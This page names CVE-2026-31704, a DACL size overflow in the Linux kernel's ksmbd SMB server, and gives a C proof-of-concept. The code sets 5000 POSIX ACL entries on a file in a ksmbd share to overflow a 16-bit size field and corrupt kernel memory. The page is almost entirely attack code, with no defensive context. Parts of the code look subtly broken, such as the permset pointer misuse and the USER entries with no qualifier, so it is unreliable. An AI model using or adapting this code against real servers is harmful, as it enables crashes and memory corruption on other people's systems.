CVE-2026-31704: Linux内核ksmbd组件DACL大小溢出漏洞

#include <sys/acl.h> #include <stdio.h> #include <stdlib.h> // Conceptual Proof of Concept for CVE-2026-31704 // This PoC attempts to trigger the u16 overflow in ksmbd by setting // a large number of POSIX ACL entries on a file. int main() { const char *file_path = "/mnt/ksmbd_share/target_file"; // Create a file if it doesn't exist FILE *f = fopen(file_path, "w"); if (f) fclose(f); // Initialize ACL with a large number of entries // Aiming for total size > 65535 bytes (u16 max) // Each entry is approx 12-24 bytes. 5000 entries should be sufficient. acl_t acl = acl_init(5000); if (!acl) { perror("acl_init failed"); return 1; } printf("[+] Adding ACL entries to trigger overflow...\n"); for (int i = 0; i < 5000; i++) { acl_entry_t entry; acl_permset_t permset; if (acl_create_entry(&acl, &entry) == -1) { perror("acl_create_entry failed"); break; } acl_get_permset(entry, &permset); acl_add_perm(permset, ACL_READ); acl_set_permset(entry, &permset); // Set a dummy tag (e.g., USER) acl_set_tag_type(entry, ACL_USER); } // Apply the ACL to the file via the ksmbd interface if (acl_set_file(file_path, ACL_TYPE_ACCESS, acl) == -1) { perror("[!] Failed to set ACL (Kernel might be patched or limit enforced)"); } else { printf("[+] ACL set successfully. Check kernel logs for memory corruption or crash.\n"); } acl_free(acl); return 0; }